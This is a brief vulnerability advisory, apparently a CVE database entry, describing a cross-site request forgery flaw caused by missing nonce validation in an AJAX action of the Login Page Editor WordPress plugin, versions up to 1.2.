CVE-2026-1088

Description

The Login Page Editor plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.2. This is due to missing nonce validation on the devotion_loginform_process() AJAX action. This makes it possible for unauthenticated attackers to update the plugin's login page settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.
